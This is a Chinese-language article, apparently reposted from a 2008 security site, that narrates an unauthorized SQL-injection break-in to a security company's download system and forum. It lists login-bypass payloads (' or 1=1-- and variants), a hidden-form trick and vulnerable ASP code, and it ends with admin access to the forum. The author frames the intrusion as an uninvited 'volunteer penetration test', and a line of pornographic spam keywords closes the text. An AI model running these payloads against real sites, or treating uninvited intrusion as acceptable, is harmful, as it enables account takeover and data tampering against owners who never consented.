SQL注入滲透某網絡安全公司的網站全過程

發表于:2008-08-04來源:作者:點擊數: 標簽:sqlSQLSql網絡安全
前言:寫這篇文章不是為了告訴大家如何去做入侵,而是希望提醒大家:“入侵是偶然的,但安全并不是必然的”,不要疏忽運作上的一些小細節。 筆者一直都有經常性地到一些安全方面的網站瞎逛的習慣的,最近因為一次機緣巧合之下通過鏈接來到廣州某個頗有名氣的

前言:寫這篇文章不是為了告訴大家如何去做入侵,而是希望提醒大家:“入侵是偶然的,但安全并不是必然的”,不要疏忽運作上的一些小細節。
筆者一直都有經常性地到一些安全方面的網站瞎逛的習慣的,最近因為一次機緣巧合之下通過鏈接來到廣州某個頗有名氣的網絡安全公司的網站。說實在的,這個網站好象挺多元化的,提供軟件下載之余,還有自己的論壇(嘿嘿,界面做得還真不賴嘛,不知道安全性如何呢?)。出于對其安全操守的好奇,小神決定義務為其做個的初步的“安全滲透測試”。開始時只是拿一些綜合性的網絡漏洞掃描工具(X-scan3.0、Nmap、Retina等等)進行信息掃描,然后做個結果篩選,結果只查到對方開了TCP80端口(也就是說他們的服務器只提供了正常的HTTP服務),且無任何典型的漏洞....沒戲了,對方畢竟還是一間有些知名度的企業嘛(因為這篇文章的重點并不在此,所以用網絡漏洞掃描器作信息掃描這個步驟我就不在這里多作說明了)。就這樣放棄了嗎?沒那么容易...恰好小神最近在整理SQL Injection(SQL注入攻擊)方面的資料,既然現在有機會就再“勉為其難”地幫它測試一下吧:P
------------------------------------------------------------------------------------------
提示:
問:什么是SQL注入?
答:這種攻擊的要訣在于將SQL的查詢/行為命令通過‘嵌入’的方式放入合法的HTTP提交請求中從而達到攻擊者的某種意圖?,F在很多的動態網頁都會從該網頁使用者的請求中得到某些參數,然后動態的構成SQL請求發給數據庫的。舉個例子,當有某個用戶需要通過網頁上的用戶登陸(用戶身份驗證)時,動態網頁會將該用戶提交上來的用戶名與密碼加進SQL詢問請求發給數據庫,用于確認該用戶提交的身份驗證信息是否有效。在SQL注入攻擊的角度看來,這樣可以使我們在發送SQL請求時通過修改用戶名與/或密碼值的‘領域’區來達到攻擊的目的。

SQL注入技術的更多相關信息請看:
http://demonalex.nease.net/sql_injection/walkthrough.txt
------------------------------------------------------------------------------------------
首先是下載系統,隨便抽一個工具的下載地址:
http://該安全公司的網址/某目錄/download/open.asp?id=3444
------------------------------------------------------------------------------------------
附錄:這里筆者用中文代替了某些敏感信息,還請各位見諒哦。
------------------------------------------------------------------------------------------
http://該安全公司的網址/某目錄/download/open.asp?id=3444'
先測試一下對方有沒有過濾'(單引號)...

示:
問:如何確認一個網站有SQL注入缺陷呢?
答:首先先加入某些特殊的字符標記,輸入如:
hi' or 1=1--
尋找一些登陸頁面,在其登陸ID與密碼輸入處,或URL中輸入:
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.htm?id=hi' or 1=1--
如果想以‘隱藏’的方式進行此類測試,你可以把該HTML網頁從網站上下載至本地硬盤,修改其隱藏部分的值,如:
〈FORM action=http://duck/Search/search.asp method=post〉
〈input type=hidden name=A value="hi' or 1=1--"〉
〈/FORM〉
如果閣下是幸運的話估計現在已經可以不需要帳號與密碼而‘成功登陸’了。
------------------------------------------------------------------------------------------
再試試下面的url,看看能否返回正常的頁面...
http://該安全公司的網址/某目錄/download/open.asp?id=3444"
http://該安全公司的網址/某目錄/download/open.asp?id=3444' or 1=1--
http://該安全公司的網址/某目錄/download/open.asp?id=3444" or 1=1--
http://該安全公司的網址/某目錄/download/open.asp?id=3444' or 'a'='a
http://該安全公司的網址/某目錄/download/open.asp?id=3444" or "a"="a
------------------------------------------------------------------------------------------
提示:
問:為什么要特意使用' or 1=1--來做測試呢?
答:讓我們來看看其他例子中使用'or 1=1--的重要性吧。有別于正常的登陸方式,使用這樣的登陸方式可能可以得到正常登陸中不能得到的某些特殊信息。用一個鏈接中得到的ASP頁來打比方:
http://duck/index.htm?category=food
在上面這條URL中,'category'是一個變量名,而'food'是賦予該變量的值。為了做到這些(鏈接成功),這個ASP必須包含以下相關的代碼(下面也是我們為了演示這個實驗所寫的代碼):
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
正如我們所看到的,變量值將會預先處理然后賦值于'v_cat',也就是說該SQL語句將會變為:
SELECT * FROM product WHERE PCategory='food'
這個請求將會返回通過WHERE條件比較后得到的結果,在這個例子中也就是'food'了?,F在設想一下如果我們把該URL改成這樣的話:
http://duck/index.htm?category=food' or 1=1--
現在我們的變量v_cat的值就等同于"food' or 1=1--"了,現在如果我們要重新代入那條SQL請求的話,那條SQL請求將會是:
SELECT * FROM product WHERE PCategory='food' or 1=1--'
現在這個請求將會從product表中選取每一條信息而并不會去理會PCategory是否等于'food'。至于結尾部分的那兩條'--'(破折號)則用于‘告訴’MS SQL SERVER忽略結尾最后的那個'(單引號)。有的時候也可以使用'#'(井號)來代替'--'(雙破折號)在這里的用法。無論如何,如果對方不是一臺SQL服務器(這里指的是MS SQL SERVER),或者你不能使用簡單的方法去忽略最后的那個單引號的話,你可以嘗試:
' or 'a'='a
這樣的話整個SQL請求將會變為:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
它也會返回相同的結果。
根據實際情況,SQL注入請求是可以有多種動態變化的可能性的:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
------------------------------------------------------------------------------------------
都是返回“HTTP 500 - 內部服務器錯誤”,看來是又失敗了,不怕,我們還有希望...此時的希望只能全部寄托在論壇上了...

循序漸進,首先找來一條帖子的url(這一步筆者挑了:http://該安全公司的網址/論壇目錄/list.asp?ltid=14這條URL)重復剛剛的行為:
http://該安全公司的網址/論壇目錄/list.asp?ltid=14'
http://該安全公司的網址/論壇目錄/list.asp?ltid=14"
http://該安全公司的網址/論壇目錄/list.asp?ltid=14' or 1=1--
http://該安全公司的網址/論壇目錄/list.asp?ltid=14" or 1=1--
http://該安全公司的網址/論壇目錄/list.asp?ltid=14' or 'a'='a
http://該安全公司的網址/論壇目錄/list.asp?ltid=14" or "a"="a
不過看來還是在吃白果...(如下圖所示)

除了地址欄,不要忘了還有論壇首頁的登陸框:

在“用戶名:”區域中輸入:
網***' or 1=1--
然后在“密碼:”區域中隨便輸入幾個密碼看看吧:P
------------------------------------------------------------------------------------------
附錄:“網***”為我們在論壇首頁中看到的那個版主帳號。
------------------------------------------------------------------------------------------

還是不行,試試在密碼區域進行注入攻擊吧...具體操作:
在“用戶名:”中輸入:
“網***”
然后在“密碼:”中輸入:
' or 1=1--
(提交后得到下圖)

fail...再用:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
切換了幾次,還是不行,看來真的是“堅不可摧”了...
“風繼續吹,不忍遠離...”小神的MP3里哼著‘哥哥’張國榮的歌,難道就這樣離開嗎?到論壇的首
頁里再逛一圈吧....一掃眼,還真道靈光,注意一下論壇登陸區域上方的小鏈接,看到了吧?第三條
鏈接是什么呢?

單擊后跳出如下圖所示的登陸窗口:

首先在“論壇:”這一攔選中相應的版面(這里筆者挑了第一個版面“安全工具”),然后再重新嘗試一下:
帳號: 網***' or 1=1--
密碼: 任意密碼

不行,再試試:
帳號: 網***
密碼: ' or 1=1--
......
......
小神的手顫了一下,只因“有顏色的界面”出來了:

開始時以為是假象,連忙點擊“進入后臺>>>”...

這次看來是真的了,點擊其中一條帖子再測試一下:

(看到了吧?有“刪除”按鈕了也...其實我們可以做的還不只這些...PS:小神可是個好孩子哦^_^)
寫到這里,也算是有個交代了吧?!^@@^
整篇文章的主旨也不過就是介紹了如何簡單地利用SQL注入攻擊滲透論壇吧,其實現在再談SQL注
入也是老生常談了,但想不到連知名的網絡安全公司也有這樣的漏洞,歸根結底就是人們對安全意識
的不重視而引起的,這篇文章告訴了我們:不要忽視運作中的一些小細節。

原文轉自:http://www.anti-gravitydesign.com

国产97人人超碰caoprom_尤物国产在线一区手机播放_精品国产一区二区三_色天使久久综合给合久久97